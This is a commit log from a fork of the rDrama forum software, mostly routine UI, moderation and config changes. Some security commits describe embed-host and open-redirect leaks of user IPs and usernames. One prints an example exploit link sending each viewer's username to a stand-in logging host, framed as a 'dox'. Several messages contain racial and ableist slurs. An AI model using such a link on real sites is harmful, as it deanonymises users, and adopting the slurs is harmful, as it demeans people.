forked from rDrama/rDrama
1
0
Fork 0
Commit Graph

17832 Commits (e5aa3c3e923f0dd90fba7f12c4e9f274baded3ff)

Author SHA1 Message Date
Snakes bd84fe9579
rDrama: restore random sidebar image behavior.
Relevant commits for temporary behavior, manually reverted:
 - ed834225ae
 - 1bb80046f4
 - 15b5dfcb3a
2022-12-11 17:25:14 -05:00
Snakes f366504bdd
WPD: temporary Christmas headericon swap. 2022-12-11 17:22:48 -05:00
Aevann1 89b2c978e5 add thecoli to boosted sites 2022-12-11 23:53:06 +02:00
Aevann1 13be7c2893 add margin 2022-12-11 23:50:11 +02:00
SneedBot 237a2258d0 sneed 2022-12-11 21:12:18 +00:00
Aevann1 402e506335 increase --signature-max-height by 50px 2022-12-11 21:55:50 +02:00
Aevann1 2258b18566 show the votes button to logged-out niggas 2022-12-11 21:32:30 +02:00
Aevann1 59e0beebb2 minor change 2022-12-11 21:19:10 +02:00
Aevann1 d59543891f add BAN_EVASION_FULL constant 2022-12-11 20:56:04 +02:00
Aevann1 235cfb0dfa do this https://stupidpol.site/h/marsey/post/130585/marsey-lost-and-found-who-made/3224501?context=8#context 2022-12-11 20:52:15 +02:00
Aevann1 2e09951716 fix this https://stupidpol.site/h/programming/post/129962/advent-of-code-2022-day-9/3219293?context=8#context 2022-12-11 20:33:44 +02:00
Aevann1 0d57f11a03 make yt videos smaller inside textareas 2022-12-11 20:27:31 +02:00
Aevann1 2f8fefe76b add encyclopediadramatica to boosted sites 2022-12-11 20:24:33 +02:00
Aevann1 b0b181e610 fix css rule 2022-12-11 19:16:30 +02:00
Aevann1 a1debd4051 fix this https://stupidpol.site/post/18459/marseycapywalking-megathread-for-bugs-and-suggestions/3223428?context=8#context 2022-12-11 18:30:40 +02:00
Aevann1 dab0097128 whoops 2022-12-11 18:24:50 +02:00
Aevann1 88770c2abd remove redundancy 2022-12-11 18:24:15 +02:00
Aevann1 49ac549651 disallow ppl giving chud award in /h/chudrama 2022-12-11 18:22:44 +02:00
Aevann1 a60a73aef2 fix <video> if condition 2022-12-11 18:21:32 +02:00
Aevann1 d8b29a85e6 bump bet amount 2022-12-11 17:57:39 +02:00
SneedBot 009d66d5ba sneed 2022-12-11 08:00:05 +00:00
SneedBot 5830f444f8 sneed 2022-12-11 04:00:03 +00:00
Aevann1 02eb014dd8 posters for videos 2022-12-10 21:39:30 +02:00
Aevann1 4439f03ef5 resizable videos 2022-12-10 21:12:14 +02:00
Aevann1 3b207646c5 make videos bigger 2022-12-10 20:42:00 +02:00
Aevann1 b2d457c028 increase css limit from 4000 to 10000 2022-12-10 20:30:19 +02:00
SneedBot 8d5b55f7ed sneed 2022-12-10 17:18:17 +00:00
Aevann1 cd9591cd28 make post.new work when viewing comment 2022-12-10 19:06:28 +02:00
Aevann1 06e1195189 restore "cancel" button JC removed 2022-12-10 18:55:39 +02:00
Aevann1 d023d6109b fix 2022-12-10 17:36:52 +02:00
SneedBot f3bb6176ea sneed 2022-12-10 15:35:06 +00:00
Aevann1 82a4903702 add margin to wall comment textarea 2022-12-10 17:25:34 +02:00
Aevann1 78769cae7f add icons 2 buttons 2022-12-10 17:22:37 +02:00
Aevann1 f2d7a5d35c minor padding change 2022-12-10 17:22:29 +02:00
Aevann1 a0f5cc8dfb allow ppl to see and post on walls of private profiles (per poll) 2022-12-10 17:01:58 +02:00
Aevann1 3e3d39e432 minor /set_new rework 2022-12-10 16:57:19 +02:00
Aevann1 da4f3937f5 change mod log descriptions of mark +18 and unmark +18 2022-12-10 16:52:25 +02:00
Aevann1 2525db6b07 give ppl a notif when janny toggles nsfw on their posts 2022-12-10 16:47:20 +02:00
Aevann1 7d317e1fa8 if /h/programming assimilates, move its posts to /h/slackernews 2022-12-10 16:00:58 +02:00
Aevann1 5e52a86500 cleanup user ids in const.py 2022-12-10 16:00:03 +02:00
Aevann1 95759972c7 minor position change for video icon 2022-12-10 15:35:00 +02:00
Aevann1 1a1a55712e cachebust default_thumb_video.webp 2022-12-10 15:19:04 +02:00
Aevann1 aed7ea399f update default_thumb_video.webp 2022-12-10 15:18:48 +02:00
Aevann1 033e4dd35c disable janny chudding in /h/chudrama 2022-12-10 15:06:30 +02:00
Aevann1 52f5b2a347 serve almost all files from nginx 2022-12-10 14:21:52 +02:00
Aevann1 e1d5b8eb88 minor fix to sorting tables 2022-12-10 13:57:23 +02:00
Aevann1 1886dd986e move sort_table.js to core.js 2022-12-10 12:40:34 +02:00
Aevann1 b2591daa2b filter 0 truescore from punishment listings 2022-12-10 10:57:48 +02:00
Aevann1 3cc6387e32 more improvements to punishment listings 2022-12-10 10:54:56 +02:00
Aevann1 a3c51202d1 improvement to sorting table + get rid of scope="col" 2022-12-10 10:47:15 +02:00
Aevann1 84b1d2a7d7 dont check badges for duplicate images 2022-12-10 10:26:55 +02:00
Aevann1 ce27be1d4a fix comment refactor bug 2022-12-10 10:26:47 +02:00
Aevann1 ff2ced1911 fix 500 error 2022-12-10 10:24:29 +02:00
Aevann1 45be6970d6 punished users listing fixes 2022-12-10 10:23:56 +02:00
Aevann1 0e7973a676 minor fix for /grassed 2022-12-10 10:11:11 +02:00
Aevann1 5dbb5c1317 add mainchan.com to BOOSTED_SITES 2022-12-10 09:28:19 +02:00
Snakes 39a0832223
Sort banned, chudded, etc listings by activity.
The listings of users affected by jannied states are long. To make
them more useful, sort by recent user activity (when v is allowed to
view last_active) to know which accounts are still in use.
2022-12-09 23:47:31 -05:00
Snakes f06da51288 vid-thumbs: suppress ffmpeg stdout, fix vid toggle
Previous behavior on submission_listing was clicking a thumbnail would
toggle an inline video player. This was retained for clicking the
thumbnail off the `.video-play` element; however, directly clicking
the `.video-play` did not have the `toggleVideo` onclick event attached
and would navigate the browser to the video file directly.
2022-12-10 04:05:46 +00:00
Aevann1 37cedaee9f add thumbnails for videos on the frontpage 2022-12-10 04:05:46 +00:00
SneedBot d2815ae9ae sneed 2022-12-10 00:00:07 +00:00
geese_suck 6a56f036cb
whitelist table class for tables in sanitizer 2022-12-09 13:04:28 -08:00
Aevann1 ef4cb46be7 fix voting 2022-12-09 19:11:53 +02:00
Aevann1 00a2bc4b0d fix 500 error 2022-12-09 19:04:00 +02:00
SneedBot d41e50d15c sneed 2022-12-09 16:42:38 +00:00
Aevann1 601e95ae07 boost all domains that have "forum" in them 2022-12-09 18:42:18 +02:00
Aevann1 d01fdf5d25 add cringetopia.org to reddit mentions 2022-12-09 14:46:11 +02:00
Aevann1 cfb49da217 fix prev commit 2022-12-09 14:07:37 +02:00
Aevann1 1f99bb0aa6 fix this https://stupidpol.site/post/18459/marseycapywalking-megathread-for-bugs-and-suggestions/3211375?context=8#context 2022-12-09 14:03:11 +02:00
Aevann1 ca4e0f5e66 do this https://stupidpol.site/post/18459/marseycapywalking-megathread-for-bugs-and-suggestions/3210978?context=8#context 2022-12-09 12:54:29 +02:00
Aevann1 16cd5f2e17 profile anthem - allow downloading age-restricted videos 2022-12-09 09:30:27 +02:00
Aevann1 a01cde55ad minor js fix 2022-12-09 08:50:28 +02:00
Aevann1 8d116272fe p-do 2022-12-09 08:01:16 +02:00
Aevann1 485698e53e remove chat icon i added on the top on mobile 2022-12-09 08:00:32 +02:00
Aevann1 4561bb3e34 make custom css not affect all settings 2022-12-09 07:59:27 +02:00
Aevann1 25cd81e326 dont allow admins to remove themselves 2022-12-09 07:58:44 +02:00
Aevann1 77429369d7 ratelimit 2022-12-09 07:56:34 +02:00
Snakes 0d580b8b4f
Fix post comment count logic not activating.
Also standardize parameter list order for comment games.
2022-12-09 00:56:08 -05:00
Aevann1 07eb8bdebc fix 500 error 2022-12-09 07:54:56 +02:00
Aevann a0a8535ec3 fix standard urls for w3.org (#57)
Co-authored-by: Aevann1 <randomname42029@gmail.com>
Reviewed-on: rDrama/rDrama#57
Co-authored-by: Aevann <aevann@noreply.fsdfsd.net>
Co-committed-by: Aevann <aevann@noreply.fsdfsd.net>
2022-12-09 05:41:53 +00:00
Snakes 8221ab370a
WPD: update login required text for Carp. 2022-12-08 23:40:43 -05:00
Snakes d4b822b956
Amend 3e8c98494f: shadowbanned isn't a bool. 2022-12-08 23:06:21 -05:00
justcool393 0ea43788e3 feeds: fix XML namespace (#56)
namespaces are very particular and the https:// version is not the valid
namespace for this XML document

note: this doesn't fix it in the watermark code. that will be fixed by the watermark PR. please don't trample over it ty <3
Co-authored-by: justcool393 <justcool393@gmail.com>
Reviewed-on: rDrama/rDrama#56
Co-authored-by: justcool393 <justcool393@noreply.fsdfsd.net>
Co-committed-by: justcool393 <justcool393@noreply.fsdfsd.net>
2022-12-09 03:49:50 +00:00
Snakes 25b5675ac4
Amend PR 52, 53: standardize style, basedbot bug 2022-12-08 22:48:40 -05:00
justcool393 f848f68799 walls: remove duplication among routes/templates (#52)
removes a bunch of duplicated code in commenting and userpages

Co-authored-by: justcool393 <justcool393@gmail.com>
Reviewed-on: rDrama/rDrama#52
Co-authored-by: justcool393 <justcool393@noreply.fsdfsd.net>
Co-committed-by: justcool393 <justcool393@noreply.fsdfsd.net>
2022-12-09 03:35:28 +00:00
justcool393 3e8c98494f shadowbans: don't include in voting pages 2022-12-08 20:47:11 +00:00
SneedBot 9d23170a51 sneed 2022-12-08 16:10:52 +00:00
SneedBot 92050bc308 sneed 2022-12-08 16:10:52 +00:00
Aevann1 391d646a2c order asset submissions by most recent last 2022-12-08 17:50:23 +02:00
SneedBot c60ff2d5f1 sneed 2022-12-08 15:45:39 +00:00
SneedBot a4cfc02dc1 sneed 2022-12-08 15:42:18 +00:00
Aevann1 6210a33f6b rename marseyohno to marseyscream 2022-12-08 17:42:04 +02:00
Aevann1 660d0a5ec9 replace 571.webp sidebar image 2022-12-08 17:36:41 +02:00
SneedBot da9cd16a2a sneed 2022-12-08 15:36:12 +00:00
SneedBot c82a8943a2 sneed 2022-12-08 15:17:48 +00:00
Aevann1 69535a30f0 order assets submissions by most recent last 2022-12-08 17:05:23 +02:00
SneedBot 6eb4b2fedb sneed 2022-12-08 15:01:05 +00:00
SneedBot ec6cea59e4 sneed 2022-12-08 15:00:27 +00:00
Aevann1 a099450dc1 rename marseynooo 2022-12-08 16:59:35 +02:00
Aevann1 5e8f2d0681 clearer error message 2022-12-08 16:34:31 +02:00
SneedBot 2295463d24 sneed 2022-12-08 13:55:51 +00:00
Aevann1 9b5496b140 fix updating marseys that dont follow the naming convention 2022-12-08 15:55:30 +02:00
Aevann1 b89f9103d3 the advent of fixing codeblocks 2022-12-08 15:02:51 +02:00
Aevann1 082d56788d move random user button on mobile and replace it with chat button under certain circumstances 2022-12-08 14:15:21 +02:00
Aevann1 1cfa395b97 added padding 2022-12-08 08:13:48 +02:00
Aevann1 5d11c820f7 remove an estoric profanity filter 2022-12-08 07:22:46 +02:00
Aevann1 0d812f1294 check for profile background existence before atttempting to delete 2022-12-08 07:20:34 +02:00
Aevann1 0a915aae08 disable ghost threads in WPD 2022-12-08 07:14:59 +02:00
Snakes 05691b980d
PCM: Christmas lottery hyperinflation (by request). 2022-12-07 19:50:44 -05:00
Aevann1 b7836e696a fix marseywheredrama2.webp 2022-12-07 22:57:08 +02:00
Aevann1 9f8d2fc8a0 increase max size for site assets from 500kb to 1MB 2022-12-07 22:53:52 +02:00
Aevann1 ecda2536ec use insertAdjacentHTML 2022-12-07 22:27:25 +02:00
Aevann1 3c2880fd11 fix edge case 2022-12-07 21:59:02 +02:00
Aevann1 cff9249572 watermark 2022-12-07 21:05:52 +02:00
Aevann1 f95f4f2c97 simplify badge granting/removal 2022-12-07 21:03:06 +02:00
Aevann1 b8eb4384d6 fix midnight theme 2022-12-07 20:56:09 +02:00
Aevann1 bd3f0fcc84 fix 500 error 2022-12-07 19:57:56 +02:00
SneedBot 1b1d997415 sneed 2022-12-07 17:54:10 +00:00
Aevann1 93063516ce tie transparent theme to backgrounds 2022-12-07 19:53:29 +02:00
Aevann1 75bd617c47 all wpd jannies to grant/remove y'all seeing eye badge 2022-12-07 19:15:53 +02:00
Aevann1 124a86643d fix markdown preview for polls 2022-12-07 19:12:56 +02:00
mummified-corroding-granny 7a5750a408 Uniformization of verbiage. Purge every dot (#54)
As one would expect, pointless to have a dot at the end of the subject of a very important message (dot)
Were it not for the extraneous dot, the legitimacy of the message would still be in question due to its lack of verbiage uniformization. The verbiage is "verify" everywhere else except for some parts of the code itself. This is egregious. With this single-commit pull request, we erradicate the last of "Validate".

Co-authored-by: mmadeira <marcos_madeira@outlook.com>
Reviewed-on: rDrama/rDrama#54
Co-authored-by: mummified-corroding-granny <mummified-corroding-granny@noreply.fsdfsd.net>
Co-committed-by: mummified-corroding-granny <mummified-corroding-granny@noreply.fsdfsd.net>
2022-12-07 16:54:18 +00:00
Aevann 81267ef1c6 do this https://stupidpol.site/h/countryclub/post/79285/tired-of-some-cute-twink-jannies/3194721?context=8#context (#53)
Co-authored-by: Aevann1 <randomname42029@gmail.com>
Reviewed-on: rDrama/rDrama#53
2022-12-07 16:51:51 +00:00
Aevann1 e8f9d39bcf discussion -> wall 2022-12-07 11:04:22 +02:00
Aevann1 fee6e7150b same as last commit 2022-12-07 11:03:02 +02:00
Aevann1 e4b102873d in jinja, convert some + instances to ~ 2022-12-07 10:59:40 +02:00
Aevann1 d01b5dfd9f add "view entire discussion" to profile walls 2022-12-07 10:55:47 +02:00
Aevann1 4634b45212 fix profile wall push notif titles 2022-12-07 10:48:06 +02:00
Aevann1 1a4600bd95 imagemagick is really cringe 2022-12-07 10:42:23 +02:00
Aevann1 5d2dbee95e increase MAX_IMAGE_CONVERSION_TIMEOUT from 15 to 30 2022-12-07 10:30:11 +02:00
Aevann1 ab51e97e09 better error message 2022-12-07 10:28:01 +02:00
Aevann1 d781c853f8 force transparent theme on userprofiles with a profile background 2022-12-07 10:23:03 +02:00
Aevann1 a3f1b85e16 fix this https://stupidpol.site/h/programming/post/129189/advent-of-code-day-6/3195992?context=8#context 2022-12-07 09:58:46 +02:00
SneedBot 8e964d5b68 sneed 2022-12-07 07:54:23 +00:00
Aevann1 7d6b5862e4 uncomment commented line lol 2022-12-07 09:53:46 +02:00
Aevann1 3f6d2be5f6 fix chat in midnight theme 2022-12-07 09:52:54 +02:00
Aevann1 14aaed820c boost scrd.app 2022-12-07 09:36:56 +02:00
Aevann1 55125cf217 remove padding 2022-12-07 08:21:13 +02:00
Aevann1 5e87e53335 make poll limit 20 on rdrama and 30 on wpd 2022-12-07 07:30:03 +02:00
SneedBot 17696b5ca2 sneed 2022-12-06 22:09:50 +00:00
justcool393 6dbad04f08 band-aid fix for frozen session issue on signup (#50)
through some reason or another, people are somehow getting cookies that aren't prepended with a dot.

this is a problem because both sessions at, as best as I can tell, mix so it tries to read from a different cookie than we write to. this essentially "freezes" the session in place. users are unable to login, logout, signup, toggle poor mode, toggle NSFW, etc.

~~this attempts to delete bad session cookies (i.e. cookies with a domain that don't start with a dot).~~

~~we don't do this on "dotless" domains (and by extension localhost) because browser support for setting cookies on FQDNs that only have one dot has tenuous support among browsers anyway).~~

~~this *may* log some people out, but... their days of being able to do stuff on the site were numbered anyway.~~

**edit: as amazing as this thought was, browsers just wipe the entire cookies completely and there's no way to specifically target dotless cookies. for an issue that affects a few users, better to just tell them to clear their cookies. if *this* doesn't work, delete service-worker.js and be done with the whole service worker crap. forever. permanently. this PR also includes some QOL improvements.**

Co-authored-by: justcool393 <justcool393@gmail.com>
Reviewed-on: rDrama/rDrama#50
Co-authored-by: justcool393 <justcool393@noreply.fsdfsd.net>
Co-committed-by: justcool393 <justcool393@noreply.fsdfsd.net>
2022-12-06 22:07:12 +00:00
justcool393 c12bf5105f WPD: remove poll limit (#51)
by request of the wpd mops

Co-authored-by: justcool393 <justcool393@gmail.com>
Reviewed-on: rDrama/rDrama#51
Co-authored-by: justcool393 <justcool393@noreply.fsdfsd.net>
Co-committed-by: justcool393 <justcool393@noreply.fsdfsd.net>
2022-12-06 18:24:41 +00:00
Snakes 9160a853ec
Remove !YOU!.
Security mess and stale joke.
2022-12-05 20:06:04 -05:00
Snakes fe5ffd1bcf
security: sanitize !YOU! in <a href="">.
Unlike the recent auto-embed exploits which have been patched, this
requires active user action. However our userbase, like all userbases,
contains quite a few retards and phoneposters who don't check links
before clicking.

Example exploit:

    <a href="https://example.com/log?username=!YOU!">Bardfinn Dox</a>
2022-12-05 19:05:02 -05:00
Snakes 616634158c
Narrow approved_embed_hosts for security.
Probably will break some peoples' profilecss and irritate the
newsposters, but in light of recent live proven exploits to disclose
user IP & username pairs to remote servers, the broad list of embed
hosts was unsustainable and impossible to prove safe.

We extend is_safe_url to allow whitelisting subdomains, specifically
to solve the s.lain.la open redirect exploit. Also, open media proxies
like external-content.duckduckgo.com were concerning enough, despite
likely being safe, to warrant removal. Anything infrequently used and
difficult to review, or has a reasonable alternative, was also removed.

In general: we want people to be rehosting, and if we want to allow
more external content, we need to run a media proxy. The central issue
is that any user-configurable 302 is a potential disclosure risk, and
Lord knows how many ways there were to get <arbitrarynewssite>.com to
do so. Maybe zero, but the problem is we just don't know.
2022-12-05 18:57:35 -05:00
float-trip bca9aff068 Disallow !YOU! in URLs. (#49)
!YOU! + an escape for `approved_embed_hosts` could let you grab the IP and username of everyone who views your comment

https://rdrama.net/post/129053/you-callout-thread/3191218?context=8#context

lain.la has a URL shortener that also works to get around embed hosts, fwiw

Co-authored-by: float trip <float-trip@rdrama.net>
Reviewed-on: rDrama/rDrama#49
Co-authored-by: float-trip <float-trip@noreply.fsdfsd.net>
Co-committed-by: float-trip <float-trip@noreply.fsdfsd.net>
2022-12-05 21:20:59 +00:00
Aevann1 b5b3b9dcc3 fix pin awards 2022-12-05 18:01:13 +02:00
Aevann1 ede58dd886 fix margins 2022-12-05 17:23:41 +02:00
Aevann1 8101e7d91b fix 500 errors 2022-12-05 17:16:11 +02:00
Aevann1 15088e5eef add button to remove current profile background 2022-12-05 17:14:53 +02:00
Aevann1 84ec5f5b46 truncate unnecessary logic 2022-12-05 17:10:15 +02:00